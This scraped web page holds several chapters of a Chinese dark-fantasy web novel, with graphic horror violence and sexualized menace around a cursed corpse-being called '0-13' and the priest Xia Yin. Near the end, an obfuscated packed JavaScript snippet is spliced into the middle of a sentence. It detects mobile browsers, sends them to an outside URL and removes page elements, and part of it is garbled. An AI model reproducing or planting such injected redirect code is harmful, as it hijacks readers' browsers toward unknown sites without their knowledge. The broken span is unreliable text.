说罢,纳萨尼尔三世手中的荆棘长刺凸起瘤状的肉块,有什么东西顺着长刺钻进了夏因的胸口。 呓语声大作。 夏因爆发出无声的惨叫。 眼、耳、鼻、口同时喷出了鲜血,鲜红的战争神性与灿金的光明神性相互缠斗厮杀,在他体内肆意破坏,而他的灵魂在其中旋转、扭曲、翻搅。 意识模糊间,他的五感仿佛与周围的无数生命连接在了一起。 他听见阿尔洛血液喷溅、生命迅速流失的声音。 他听见不远处的安德烈发出困兽般的嘶吼,听见他的家族骑士们抵死的拼杀声。 还有,哥哥带着哭腔的焦急呼唤声。 ……不行,他还不能死。 如果现在就结束的话,哥哥也会随他消失。家族覆灭的真相将永远成谜,元凶将永远不会得到应有的审判。 他想动,却连抬起一根手指头都做不到。 神明也没有来眷顾他。 神明忙于在他体内厮杀,抢占他的归属权,哪怕就此撕碎他的灵魂与肉.体也在所不惜。 思绪在崩坏。 他逐渐什么都思考不了,他忘掉了自己的姓名,忘掉了自己是谁。 黑暗。冰冷。 他盲目地奔跑在记忆的回廊上,无意识地推开一扇门,旁观其中的浮光掠影,却感觉不到丝毫情绪。 其中一扇门有些不同。 “脱掉衣服给我,我们交换。快!” “为什么,洛丹?” “他们是冲你来的,夏因,哥哥保护弟弟天经地义。” “不…我不要!” “来不及了。躲起来,如果有人找到你,你就说自己是洛丹·伊格尼斯。” 因为从小练习骑射和剑术的原因,孪生哥哥总是比他更加强壮,因此毫不费力地制服了他,换上他的衣服,将他藏进了密室里。 等到他醒过来,爬出密室,只看到了少年失去生机的尸体。 “活下去,夏因。”耳畔响起哥哥在他昏迷时许下的诺言,“哥哥会永远陪着你……无论用什么方式。” …… 他后退,揪着心口的衣襟,不明白自己的心脏为什么在抽搐颤抖。 离开这扇门之后,他推开了下一扇门,里面一位年长的女性Omega,容貌和刚才的少年有八分相似,同样倒在血泊里。 他想要唤醒她,却看到猩红的火焰从自己指尖点燃,逐渐吞噬了她的身体。 他踉跄着逃离,跑向下一扇,但门里的面孔总是那么熟悉,笼罩着死亡的惨白。 他跑得越来越快,跌跌撞撞的,几乎是在逃跑。忽然间脚下一空,落入了无尽的深渊。 醒来时,盛放的紫罗兰在白雪与烈火之间摇曳,有人拥抱了他,冰冷的发丝流淌在他颈项边,擦过他后颈的腺体,唤起丝丝痒意。 “嘘……别怕。” 低沉愉悦的轻笑声拂过耳畔。 “这是标记。” “活下去,找到我。” 他喘息着抬起脸,试图看清说话者的面庞,但遮盖那人面庞的发丝却拂之不尽,如同蒙上了无数层朦胧的面纱。 他颓然低下头,却注意到了指缝间缠绕的丝缕长发。 银白色,略微打着卷,如蛛丝,如月光,如绸缎。 当他牢牢将这段银发烙印在记忆深处时,那个低沉愉悦的嗓音再度响起,唤出了他被遗忘的名字。 “活下去,夏因。” “我在未来…等待着与你重 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纳萨尼尔三世看到,本该在生死之间徘徊的夏因,左胸.口处,鲜红的纹路在蔓延、在闪烁。 那赫然是战争之神的神纹。 “…怎么可、呃…!!” 哧—— 话音未落,纳萨尼尔三世不可置信地低下头,在自己的胸膛上看到了一个血洞。 没有任何人触碰到他。 但胸膛中央,凭空地,莫名其妙地,多出了一个血洞。 那个血洞,和夏因胸膛上的贯穿伤,形状和位置都一模一样。 震愕之下,纳萨尼尔三世收回荆棘长刺,用它们填补胸口的空缺,专注于弥合自身的伤势。 夏因悬吊的身体摔了下来,和阿尔洛一起。 他将阿尔洛揽在怀里。 如果没有阿尔洛的舍身扑救,那一刻,他早已心脏破裂而死。 作为交换,阿尔洛被伤到了要害。 耽搁太久,已经没有了挽回的可能。 就连临死前的呢喃也微不可闻,夏因必须将耳朵贴近他的嘴唇,才能听到模糊的气音。 阿尔洛竟然在呼唤他的名字。 他说,“夏因,我看不见你了。” “我在这里。” 他说,“我不后悔。” “……” 他问,“我最后……变得勇敢了吗?” 夏因无声弓折了脊背。 他想对阿尔洛说,“如果没有变得勇敢,如果没有遇见我,你现在或许还活着。” 但阿尔洛早在最开始就回答了他:“我不后悔。” 阿尔洛的生命为他而盛放,也为他而瞬息凋零。 但他从不后悔遇见了夏因。 夏因想要握紧他的手,却什么都没有抓到,这才想起阿尔洛的双手早就不在了。 他的掌心里空空荡荡,就像十四岁那年时,眼睁睁看着亲人的生命在指缝间流逝。 相同的场景再一次在他眼前复现。 他紧绷的下颌线微微颤抖,像是想要留住什么似的,手指猛然攥紧,指甲深陷掌心。 “谢谢你……” 阿尔洛的声音随风飘散。 “谢谢你……让我勇敢。” 夏因猛然抱紧了他。 “对不起。”他哑声道,“你很勇敢,阿尔洛·伊凡·尼米兹,我会永远不会忘记你的名字。” 少年静悄悄的,没有回应。 夏因一探,发觉他已经没有了鼻息。 话多到有些烦人的少年,永远地沉默下去。 夏因也将永远都不会知道,阿尔洛是否活着听到了他最后的回答。 不知过去多久,或许只是一秒,也或许有一个钟头,他将少年安放在平地上,眼眸已经恢复了镇静,只余微微泛红的眼圈。 一个陌生的、阴柔的嗓音,在空中响起。 梦境教会的圣徒,如蝴蝶般飘浮在月光里,低垂着眼,语气极为惊讶。 “光明教会的神职者,违背‘信仰唯一性’守则,烙印了战争之神的神纹。” “大名鼎鼎的‘审判之光’,竟然是个Omega……” 他嗓音缥缈如梦,让人听不清楚。 长袖自圆月垂落,向夏因卷来,似乎想将他带走。 “滚开!!”安德烈怒吼着咬向长袖。 长袖转而向安德烈轻轻一担,将他拂去了远处。 夏因想要阻止,却从肺部呛咳出几口鲜血。 他成功抵抗了排异反应,还伤到了纳萨尼尔三世,但这一切都无法从根本改变战局。 梦境教会的圣徒,还有随时可能恢复战斗力的纳萨尼尔三世,敌我实力太过悬殊。 或许从一开始,就是注定的死局。 但是—— “0-13”,是死局中唯一的变数。 纳萨尼尔三世不了解“0-13”,但夏因了解它。 了解它的强大、它的信守承诺,还有…… 它对他的渴求。 “……‘0-13’,”他哑声开口,“你如果继续沉睡,我便会死去。” “死亡,将永远地从你手里,夺走我。” 就像是在强行从昏迷中苏醒,原本沉寂的灵柩,发出了一次轻微的震颤。 “它刚被大封印术重创,这不可能!”纳萨尼尔三世警惕地看向“0-13”,旋即命令半空中那人,“……杀了夏因·伊格尼斯!” 不知为何,那名梦境圣徒竟动也没动,将他的话当了耳边风。 安德烈则从夏因的语气中明白了什么。 “咳、夏因!不能那么做!!” 夏因眸光沉静。 “‘0-13’ ,许愿灵柩,我要向你许下我的愿望。” “——护我所爱,弑我所憎。” “0-13”低沉的嗓音从灵柩内响起,带着初醒的虚弱,以及浓稠的笑意。 “可我想要的只有你……又有什么理由保护其他人呢?” 夏因的视线扫过阿尔洛的尸体。 他睫毛下隐藏着些许挣扎,但当视线在即将落败身亡的安德烈和其他家族神职者身上扫过一圈后,这份挣扎变成了坚定。 他不想再看到另一个为保护他而死的“哥哥”或者“阿尔洛”了。 能用自己换取那么多人的生命,很划算,不是吗? “‘0-13’,实现我的愿望。” 夏因注视着灵柩,一字一顿地命令。 “只要护我所爱,弑我所憎……” “我愿将一身血肉献祭于你。” 话音未落,锁链寸寸碎裂的声音骤然炸响。 巨响之后,大封印术化作点点金屑,漫天飘舞,徐徐落在逐渐开启的灵柩之上。 一只苍白的、骨节分明的、男人的手,从灵柩中探了出来。 “……你的愿望,我听到了。” 低沉愉悦,犹如大提琴奏响。 所有人眼前一晃。 下一秒,一只冰冷的手,从夏因身后抬起了他的下颌。 银色长发铺散,织就细密的蛛网,将他网罗于它怀中。 他被迫倚在它肩头,仰起脸,目光囚禁在它紫色的瞳仁之内。 轻笑声响起。 “我将护你所爱,弑你所憎。” “只要留在我身边——所有你想要的,都会得偿所愿。” 8. 霸占 银发,缀着紫源晶和鸽血石,如海藻般浓密,微微打着卷,将夏因笼罩其中。 无论在哪个教会,银发都是崇高与圣洁的象征。 却出现在一个0级诅咒物身上。 ——那也是他的Omega的发色。 或许是失血过多的原因,夏因的心脏剧烈鼓动着。 他视线上移,终于见到了那副嗓音的主人。 那是一张极俊美的脸。 然而,俊美的骨相之上,蒙着一层死人般苍白的皮。 薄唇上翘着,遍布针线缝合后的伤疤。 诡魅的紫色眼瞳,闪烁着非人类的幽光。 迎着他的视线,“0-13”揽着他的腰身,冰冷的鼻尖抵在他脸侧,轻轻厮磨。 “……你在看我。” 它低哑而得意地笑着。 “这幅身体,你很喜欢吗?” 夏因沉默。 离得这么近,他却没有感觉到“0-13”的呼吸。 也没有体温。 冰冷、僵硬,血管里的血液不再流淌,呈现出半凝固的紫色。 将他拥在怀里的东西,完完全全是一具死尸。 夏因像全无所觉。 他仰靠在它肩头,任银发在指缝间流淌,顺流而上,如同被引诱般,将手搭在它头上。 它微微眯着眼,像一只被抚摸顺毛的大型猛兽,喉间发出舒服的咕噜声。 夏因的手缓缓后移,穿过发丝,最后……落在了它的后颈。 那是Omega和Alpha们腺体的位置。 极为敏.感。 “0-13”放松的姿态一僵,眼底陡然划过一抹危险。 它擒住夏因的手,嗓音压低,释放出警告的意味。 “不要碰那里。” “我不喜欢……” 然后它又好脾气地笑了,鼻尖贴在夏因的手腕内测,深深嗅闻。 夏因抿唇。 对腺体的标记是特殊的。如果Omega被Alpha标记过,除非Alpha死亡,后颈的咬痕终生都不会消退。 如果“0-13”占用的身躯原本属于夏因的Omega,后颈腺体必然会残留着那个独一无二的咬痕。 但—— “0-13”的后颈不是没有伤痕,而是,太多了。 有什么东西粗暴地剜去了那块皮肉,就算曾经有过咬痕,夏因也无法分辨清晰。 这具躯体的背后隐藏着无数秘密,美丽而千疮百孔。 它身穿华服盛装,不知在灵柩里躺了多少年,仿佛在等待一场期待已久的重逢。 而夏因,是它重生后的第一道餐前开胃酒。 它的注意力重新回到了夏因脸上,执着于在他的口唇边嗅闻,发出尸体本不该有的粗重喘息。 然后跃跃欲试地,想要舔吻他嘴畔的血。 “0-13”对从他嘴里冒出的血,似乎总是格外钟情。 就在冰凉的死物碰上他的嘴唇之前,夏因拽紧了它的银发,向后猛扯。 “0-13”猝不及防,被扯离了他。 “你要先实现我的心愿。” 夏因直视着它的眼睛。 “0-13”微微眯起眼,而这一次,是好兴致被打搅的不耐。 它的视线在夏因脸上梭巡,似乎在犹疑不决,这道餐前酒是否值得它等待。 夏因眸光冷淡,不退半分。 最终,“0-13”笑了,笑得全然无害,刚才的危险气息一扫而空。 它打横抱起夏因,走到灵柩旁,让他靠在灵柩的侧壁边。 “你在这里等我。” 它温柔地对夏因说。 “很快的。” “不要走。” 然后,它便凭空消失了。 下一秒,出现在全速逃跑的纳萨尼尔三世面前。 “浪费了他那么多血的人,是你?”它问。 纳萨尼尔三世刚要狡辩,便发觉自己的舌头和喉咙分了家。 分家的不只是口舌,他的全身都被均匀切割成了肉排。 “算了,不用回答。” “0-13”脸上带着冷漠的不耐。 “我赶时间。” 短暂的几秒之后,肉排蠕动着聚合,由荆棘长刺连接,重新变回纳萨尼尔三世。 下一瞬,切成肉排。 重组。 肉排。 重组。 肉排。 …… 几轮之后,“0-13”的不耐达到了顶峰。 它变得面无表情,亲自上手,抽.出了纳萨尼尔三世的骨头,将那些总能死灰复燃的荆棘长刺掰开,咬碎,吮去它们的骨髓。 肉排终于彻底失去了生机。 堂堂九纹神职者,一代教皇,以为自己走上人生巅峰的下一秒,便命丧“0-13”之手。 谁都没有料到他的死因,就连纳萨尼尔三世自己。 肉排里镶嵌着的眼珠,至死还残留着惊愕与愤恨。 他怎么可能想到,能让整个世界都恐惧战栗的0级诅咒物,竟然会不顾大封印术的反噬之痛,去遵从一名与它敌对的一纹神职者呢? “呵……真是可悲。” 夜空里悬挂着的圆月,为纳萨尼尔三世之死,以高声的嘲笑,奏响了一曲“挽歌”。 那名梦境圣徒,本应是纳萨尼尔三世的同伙,却不知为何,在关键时刻背叛了他,眼睁睁看他丧命。 “0-13”仰头望月。 梦境圣徒躲在幻梦境里,那是它无法进入的领域。 就算想杀,也抓不到人。 “……哼。” 它放弃追猎,再度消失,转瞬出现在灵柩附近。 夏因靠坐在灵柩边,一手按住还在流血的伤口,双眼望着它,似乎在期待它的表现。 “0-13”眼睛一弯,继续兴致高昂地替他实现愿望。 纳萨尼尔三世能提高移速,其他普通的神职者们却没能跑远。 “0-13”赤着脚,一步步向他们走去。 它走过之处,除了伊格尼斯家族的直属神职者以外,其他所有人都悄无声息地变成了均匀整齐的肉排。 血雨自天空洒落。 “0-13”弯着唇,脚步轻快,苍白的嘴.唇,因为沾了鲜血而格外艳丽。 在夏因面前杀戮,让它充满了表现欲。 到最后,只剩下唯一一个活人。 他在血浆中连滚带爬,差点撞上了前方的双脚。 “我刚才在睡觉,没有听清。” “0-13”友好地问。 “他叫什么名字?” 幸存者牙齿打颤:“谁?” “就是许愿让我杀光你们的那个人啊。”“0-13”指指夏因的方向。 幸存者颤抖:“……该死的夏因·伊格尼斯……” “谢谢。”“0-13”微笑。 幸存者倒在了血泊里,没能听到它的感谢。 “0-13”开心地哼起了歌。 有点跑调,依稀是一首童谣。 “夏因,夏因,原来你叫夏因啊。” 它念着他的名字,笑出了声。 “真好听,夏因!” 与此同时,夏因面前的大地开始涌动,泥浆重塑出人形的上半.身。 安德烈通过大地之神的隐匿神纹来到他身边,手心里,一枚偏方四八面体飘浮着,不断地旋转变幻。 ——3级诅咒物,“天国之门”。 它仿佛是能够吸收一切光芒的纯粹漆黑,但盯久了又能在其中看到无数种斑斓色彩。在那些目睹过天国又有幸存活下来的神职者口中,那便是属于天国的颜色。 “一半的几率,或是直接与‘0-13’传送到光明圣所,或是永远迷失在天国,肉.体异变成怪物,灵魂不入螺旋。” 安德烈定定注视着他的双眼:“夏因,你真的决定好要使用‘天国之门’了吗?” “嗯。”夏因没有半分犹豫。 “……好。”安德烈似乎也下定了决心。 他将“天国之门”递向夏因,夏因抬手去拿,却偏离了位置,两次抓取,都没能对准,就好像根本看不清眼前的景象。 安德烈一愣,仔细观察夏因的眼睛,才发现他的瞳孔是涣散失焦的。 夏因流了太多血,失血让他接近休克,视野已经模糊暗沉。他强撑着最后的意志,才没有昏迷。 安德烈喉中酸苦。 看着眼前这个濒死都一声不吭的青年,他回想起了十多年前那个小小软软的幼童。 因为害怕打针,每次都眼泪汪汪地把脸蛋埋进他的狼毛里,委屈地呜呜着,将他的毛发弄得又湿又乱。 小时候的安德烈对此很是嫌弃,现在却做梦都想找回过去的那个疼了会哭、高兴了会笑的孩子。 ……但他再也找不到了。 安德烈咬破了嘴唇,颤抖着,将“天国之门”送进了青年的掌心里。 夏因很轻地道:“谢谢。” 他摩挲着偏方四八面体的表面,想要确定那是否是真的“天国之门”,却得到了有些异样的触感。 偏方四八面体的表面似乎涂抹了一层沙子…不…更细腻,像是……蝴蝶的鳞粉。 蝴蝶的鳞粉? 脑海中回闪过安德烈用蝴蝶鳞粉让看守者陷入沉睡的片段。 夏因心头警铃大作,刚要丢掉“天国之门”,便感到一阵沉重的睡意。 “睡吧,夏因。” 安德烈嗓音哑涩,透过层层屏障传来。 “睡醒了,我们就回家了。” 他从夏因软垂的掌心里拿走了偏方四八面体,作为具有安眠效果的蝴蝶鳞粉的使用者,安德烈自己早就服用了解药。 他向“天国之门”注入神性,咔地一声,偏方四八面体的每一个表面都向四周离散,在它们的中心,黑洞般的入口在迅速扩张。 入口的另一边,就是天国。 “……很抱歉这次没有听你的话。” 安德烈捋顺了夏因被血污打湿的鬓发,被神纹覆盖的狰狞面庞上,流露出罕见的温柔。 “我明白,你不希望我犯险……但我也一样,我不能再失去你。” “如果你下定决心要赌50%的概率,我就陪你一起赌。” “要么回家,”他抱紧夏因,“要么一起万劫不复。” 安德烈回头,挑衅地斜了一眼“0-13”。 然后和夏因一起,踏入了天国之门。 他们瞬间进入了神明、亡魂和不可名状之物的国度。 死寂。 四周漆黑,同时又五彩斑斓。 在天国,生命死去后的灵魂,组成白色的絮状物,如深海中的浮游生物一般,漫无目的地漂流着。 但天国的“住民”并不总是柔弱无害。 不可名状的存在潜伏在天国深处,黑暗中那些绚丽迷人的色彩,都来自于祂们。 没有活人知道祂们的模样,因为,只要人类看到祂们,哪怕只有一眼,便会因为获得不该被人类理解的知识,而彻底陷入疯狂,精神和肉.体遭到双重异变。 安德烈捂住夏因的眼睛,自己则盯着迅速缩小的“天国之门”。 他等待着“0-13”追上来。 就在“天国之门”消失的前一刹那,一只苍白的手,探入了门内。 是“0-13”。 ——它来了! 在它进入之后,天国之门飞速缩小直至消失,与此同时,黑纱般的神性旋转成漩涡,构筑出一条通道,通道的尽头依稀有光。 那是通往光明圣所的路——50%的概率,他们竟然赌赢了! 安德烈心跳如擂鼓,闭上眼睛,全力向着通道的终点坠落。 他仿佛已经看到了一切结束之后,他们重新回到往日的生活——他用狼型趴在花丛里晒太阳,夏因则靠在他身上翻看着一本书;有时候被他摇晃的尾巴扫到,责备又亲昵地揉揉他的脑袋。 书卷、草木、阳光的味道,还有夏因的气息…… 却突然间,一个声音在脑海中轰然炸响。 【夏因,你要去哪里?】 安德烈猛地睁开 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就在它们要覆盖夏因的面庞时,安德烈陷入疯狂的灵魂仿佛被一根细针刺穿,现出一线清明。 大脑的自我保护机制启动,他摒弃了所有思维,忘记了“0-13”的本质,忘记了他从“0-13”意念里听到的所有信息。 唯一的念头是:他要带夏因一起回家。 安德烈大吼一声,无数藤蔓自“0-13”苍白的的手臂之中繁衍增殖,然后飞速消失。随即他发现,多数的苍白手臂都是幻觉,唯一实存的那一双手,正捧着夏因的脸颊,手指亵玩似地探入沉睡者的口中。 愤怒压倒了恐惧,安德烈体内爆发出一股力量,狠狠踹向“0-13”的本体。 “滚开!你这恶心的怪物!” 他的话语刚一出口便被扭曲、分解、隔离,在天国,人类的声音无法传播,“0-13”的声音却能清晰地传入他的脑海。 只有本就诞生于天国的生灵,才能做到这一点。 不…不能想…不能再继续思考下去了…… 值得庆幸的是,此刻“0-13”并没有将安德烈放在眼里,他只受到了余波的影响,才能勉强维持理智。 “0-13”的眼里只有夏因,它的交流对象也只有夏因。 【你明明说过,要将自己献祭于我。】 【……难道,你骗了我?】 【夏因,你骗我?!你骗我!!】 它扯碎了糖衣,不再用人皮遮掩,意念的表层近似于猛兽愤怒的咆哮,咆哮之下,暗藏着受伤的疼痛。 安德烈头痛欲裂,同时将夏因抱得更紧,以免对方落入那可怖猛兽的血口之中。 咆哮声倏然一停,“0-13”似乎恢复了冷静。 【啊……不对。是我弄错了。】 它的声音复又像人,温柔。 【夏因睡着了。】 【你没有骗我。你只是……被坏人抢走了。】 不可名状的注视朝他投来,安德烈发出了无声的惨叫。 冰冷之物袭来,他只觉一股不可违抗的力量,正在一根、一根地掰开他抱紧夏因的手指。 他甚至听见“0-13”在笑,是那种阴险而邪恶的低沉嗬嗬声,似乎在享受抢夺玩偶的乐趣。 夏因一点一点地脱离了他的怀抱。 落入了那头怪物的齿牙之间。 刹那间,黑纱般的神性通路于幽微中破碎,道路破碎之后,终点的光亮也随之消失。 通往光明圣所的“门”被摧毁了。 “0-13”的手指在漆黑中一划,轻而易举地创造了一扇新的“门”。 天旋地转之间,安德烈重重摔落在大地上。 他睁开眼,发现他们已经离开了天国,落地点不是光明圣所,而是位于现世的一片荒凉海滩。 “0-13”横抱着夏因,就在他的不远处。 它看起来是那么的游刃有余,人类奉为珍宝的“天国之门”,在它眼里只是件随意拨弄的玩具。 安德烈后知后觉——它之前追杀纳萨尼尔三世时使用的“瞬移”,不是提高移速或制造幻觉,而是在人眼无法捕捉的瞬间,熟练地进出天国。 它本就属于天国。 被这种怪物盯上,无论是死是活,夏因注定无路可逃。 无力感和绝望击垮了安德烈。 当他发现自己的左腿被“0-13”均匀切分成肉排时,他甚至没有生出任何情绪,有的只剩麻木。 他用手肘摩擦沙地,一点点向夏因,向那可憎的诅咒物爬去。 那无知痴愚的东西,仍然热情地拥着它心爱的玩偶,甚至还不知道人类会因失血而死亡。 “夏因,醒来,看看我。” “0-13”一手揽着夏因后仰的脖颈,一手搂着夏因腰身,环抱着无意识的人类。 “他想抢走你,我讨厌他。” “但我没有撕碎他,毕竟你希望他活着。就算我很生气,也只是给了他一点小小的惩罚。” 它的嗓音带着某种邀功的意味。 “但是,夏因,你为什么不睁开眼睛,看看我呢?” “你看看我啊,你的愿望我全都实现了啊。” 没有回应。 “0-13”看上去有些低落。 它试图取悦夏因,于是哼着不成调的歌谣,抱着他轻缓旋转。 月光下,华丽的长袍下摆沾满了鲜血,随着舞步沉重地摇摆。 夏因被桎梏于臂弯间,碎发柔软地贴着脸颊。 胸口未愈合的贯穿伤,涌出新鲜的血液,砸落在白色沙滩上,宛如血之花灼灼绽放。 “0-13”的喉结忍不住滚动。 兽性之欲压倒了为夏因哼歌的心情,逐渐占据了上风。 它垂下银白的睫毛,遮掩起眸子里的渴求。 鼻梁蹭过锁骨,嘴唇贴近胸膛。 “夏因,如果你再不睁眼看我……” “我可就要吃掉你了。” 9. 训狗 “咕……咕。” 吞咽声。 冰冷滑腻的舌滑进伤口,缓慢戳刺,细细舔食。 夏因微微一颤,在迷梦中睁开眼。 他低头看去。 它埋首于他胸前,银发沾染了斑驳的鲜血,蛛丝般将他缠绕成茧。 再往下,胸腹的皮肉被完全剥离,脏器赤.裸在外,遍布着兽齿啃噬过的咬痕。 他呼吸急促,挣扎着向后退去,却被一只冰冷的手锁紧了脚踝。 第二只和第三只手从背后桎梏了他的腰身,第四只手握住了他的脖颈。 无数只苍白的手爬了上来,钻进他的血肉之中,享受着这场鲜血盛宴。 啜饮了血浆之后,它们开始扭曲、分裂、增殖,异变成不定型的肉须,挤进更狭窄的地方,填满了内脏和骨骼的所有缝隙。 夏因突突跳动着的心脏,被它捧于掌心之间。 它抬头看他,银发下露出幽邃的紫瞳,和鲜红染血的唇。 它笑了,妖冶而邪狞。 然后咧开嘴,咬向那颗鲜活的心脏。 “……” “……!” 夏因从噩梦中惊醒。 他猛地从床上弹起,额头撞上了什么东西,嘭地一声。 “唔!”另一声痛呼响起。 夏因定了定神。 眼前是一间简单的舱房,地板潮湿,空气里弥漫着海风的咸腥味,窄小的圆窗外,是日光和一望无际的大海。 他面前坐着一个满脸胡子的金发男性,此时正捂着被他撞疼的额头,嘶嘶抽气。 没有“0-13”。 ……也没有被吃掉心脏。 记忆还停留在那枚沾满蝴蝶鳞粉的“天国之门”上。 在他昏睡期间,都发生了什么? “嘶……你脑门没事吧?” 床边,胡子男关切地询问他,操着西方海滨的口音,声线出人意料的年轻。 被撞红的额头中央,眉心烙印着一道海蓝色的神纹。 夏因盯着他的眼睛,没有作答。 对方的虹膜是纯澈的海蓝色,没有紫色浸染,也没有其他被“0-13”附身的痕迹。 被他这么盯着瞧,胡子男滚了滚喉结。 蓝眼睛四下里漂移,最后看回夏因,有些紧张地开口:“我叫弗雷泽。你呢?” “……阿尔洛·尼米兹·伊凡。”夏因吐字清晰而缓慢,就像要把这个名字铭刻在心底。 “很高兴认识你,阿尔洛。”弗雷泽笑出一嘴白牙。 夏因垂眸,手指不自然地蜷起。 舱室内一时沉寂。 “咳,你现在肯定很疑惑,这里是什么地方,你又为什么会来到这里。”弗雷泽找话说,“别急,我都会一一告诉你。” “这里是‘深潜者号’探险船,从印斯茅斯港口驶出,前往极北之境,寻找一座海盗们的藏宝岛。” “两天前,大约离印斯茅斯港口三百海里的位置,我在海面上发现了你。” “你当时趴在一口灵柩上,脸色苍白得要命,衣服上还留有大量血迹。说实话,我当时还以为那是具尸体……” “那口灵柩,”夏因打断他,“现在在什么地方?” 将“0-13”带回光明圣所,进行封印——他肩上仍然背负着这份使命。 弗雷泽挠头:“我跳进海里把你捞上来,但没打捞那口灵柩。现在它早就被海浪冲远了吧。” 他顿了顿:“那口灵柩里面,有你很重要的人吗?” “是的。”夏因眉目沉凝。 如果它漂流到其他民用渔船或军舰上,可就糟糕了。 弗雷泽看着他沉重的神情,不知道脑补了些什么。 “愿他在深海中得到安宁。”他做了一个海神教会的祈祷手势。 夏因抬头问:“除了我和灵柩以外,你是否还见到过其他遇难者?” 如果他所料不错,安德烈迷晕了他,一定是为了和他一起使用“天国之门”。 “没有其他人了,甚至方圆百里都没看到损毁的船只。”弗雷泽耸肩,“说实在的,我根本想不出你是怎样出现在空无一人的海面上的。” 这也是夏因不明白的地方。 使用“天国之门”后,他要么会回到光明圣所,要么迷失在天国,怎么会横跨上万公里出现在世界的另一端? 除非——“0-13”本身就会天国穿行。 他心脏一沉。 “你先好好休息,”弗雷泽觉得应该给他一些独处的空间,“我去厨房拿些吃的过来。” “谢谢。”夏因说。 他的确觉得很饿。 饿到能吃下一条船。 顾不上饥饿,他首先联络了一下安德烈留在他胃袋里的“读心虫”。 那小肉丸释放着蓬勃的生命力,显示它的主人还活着。 夏因松了口气。 然而,正当他想催动“读心虫”联络安德烈时,却发现“读心虫”在迅速融化、消失。 “……?” 与此同时,夏因发觉,那令人疯狂的饥饿感缓解了许多。 他将手探进衣服里,发现伤口正在飞速愈合,不过半分钟,肌肤就变得平整光滑。 夏因心跳加速。 同样的情况,之前也发生过一次。 在秘密押送“0-13”的时候,背叛者的偷袭在他心口留下了一道致命伤。 醒来之后他几乎饿到晕厥,安德烈给他的食物缓解了饥饿,但没有给他的伤势带来改变。 但刚才,当他无意识“消化”了“读心虫”之后——那实际上是安德烈的一部分肉.体——就连凹凸不平的伤疤也全都消失了。 难道,通过进食,他可以治愈自己的伤势? 食物的“营养价值”越高,就能获得越多的生命力? 夏因陷入了沉思。 三年前,在那场焚尽伊格尼斯城堡的大火里,他或许也是通过同样的方式才得以幸存的吧。 当时的他,在饥饿之下,又吃了些什么? 夏因闭上眼,努力回想。 在走过那条记忆回廊之后,他对那场大火的印象不再是完全的空白,浮光掠影般的片段不断在脑海内回闪。 ……染满鲜红的双手……口腔里熟悉的血腥味…… 夏因猛地睁开眼,一股强烈的呕吐感冲上心头。 一个答案呼之欲出。 但就在此时,他的身体忽然开始不受控制,左手拉开宽敞的领口,右手抚摸自己的胸膛,还把脸埋进领口里瞄来瞄去,简直像个自恋的色中饿鬼。 “……洛丹,你在做什么?” “快看我发现了什么!”哥哥把身体主导权还给了他。 身上穿的衣服应该是弗雷泽的,宽敞偏大,拉开领口,便能看见心脏的位置烙印着一道鲜红的、荆棘状的神纹。 是的,战争之神的神纹。 “很离谱,很不可思议,很违反神学常识,但它就是真真切切地发生了。” 哥哥.啪.啪啪鼓掌。 “夏因,恭喜你成为历史上第一个违背‘信仰唯一性’守则、还成功存活的生物!” “幸好你的光明神纹在舌头上,比较隐蔽,那些船员看到了你的胸口,也只以为你来自战争教会。否则,你被人打捞上来的那一刻,就会被当成珍惜物种,抓去‘流沙之塔’做人体.实验了。” 夏因并不为此感到高兴:“可我一点都不想成为战争教徒。那些疯子……” “没关系,你可以假装战争之神的二五仔,不,叛教者。”哥哥欢乐地说,“哦对了,你知道这道神纹的能力是什么吗?” 夏因感受了一下神纹中蕴含的信息,并回想它对纳撒尼尔三世造成的影响。 “它名为‘以血偿血’,能够将我的伤势共享给敌人。” “嘶,”哥哥倒吸一口凉气,“想杀人就得先往自己心脏里捅一刀……那岂不是要同归于尽?夏因,你可千万别这么做。” 夏因不置可否。 他倒是觉得还不错。 在这个危机四伏的诡异世界面前,人类实在太渺小了。有时候,就算牺牲上百名神职者的性命,也无法杀死强大的异种或诅咒物。 所以,大多数情况下,“一命换一命”是很多神职者梦寐以求的结果。 ……可惜,“0-13”本来就是尸体,这道神纹对付它没什么用。 在这苍茫大海上,他该怎么找到它,又该如何封印它? 就在这时,舱室外传来脚步声,房门被推开,一个陌生人端着餐盘,出现在门口。 男性,二十出头,金发蓝眼,脸庞干净,相貌英气俊朗。 夏因警惕地看向他。 “啊,不好意思,忘敲门了。这是我的房间,我没有敲门的习惯。” 金发帅哥一开口,却是熟悉的嗓音。 哥哥差点呛到了口水:“他他他是刚刚那个……” “……弗雷泽?”夏因不确定地说。 “是我。”弗雷泽把餐盘放在床头的小柜子上,转过身,摸了摸自己的脸,“我把胡子剃了。怎么样?” 在夏因的视线下,他轻咳一声,解释道:“你知道的,在海上漂泊,见不到几个活人,更别提喜欢的,当然没心思收拾自己……在岸上,我可是很受欢迎的。” “好大胆。”哥哥起哄,“他在向你求爱诶夏因。” 夏因面无表情:“我是Alpha。” “我知道,我也是Alpha。”弗雷泽靠墙一站,“哪个Omega会来这鸟不拉*的地方?Alpha之间互相慰藉挺常见的。” 他笑起来:“嘿,你知道吗?你是我这辈子见过的最好看的Alpha——不,就算放在Omega里也是最好看的。” “谢谢,”哥哥代为发言,“你是第139个这么说的人,没上四位数纯粹是因为夏因出门少。” 夏因没理弗雷泽,拿过餐盘,低头默默干饭。 弗雷泽的眉心之间印有深蓝色的神纹,应该是信奉海神的野生神职者。 海神执掌着情绪与欲.望的权柄,祂的信徒对待爱.欲普遍热情而开放。 而且无所谓,夏因不会在这里久留。 他需要很多食物补充体力。过了今夜,他就会离开这艘探险船,设法回到岸边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15333781|167719||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 寻找“0-13”的踪迹。 弗雷泽把他的沉默当做了担忧。 “二副知道了你的情况,他同意你留在船上。正好我房间里有空床,你晚上可以在这里休息。不过放心,没经过你的同意,我是不会冒犯你的。” 哥哥闭目祈祷:“你最好别冒犯,否则你就看不见明天的太阳了。” 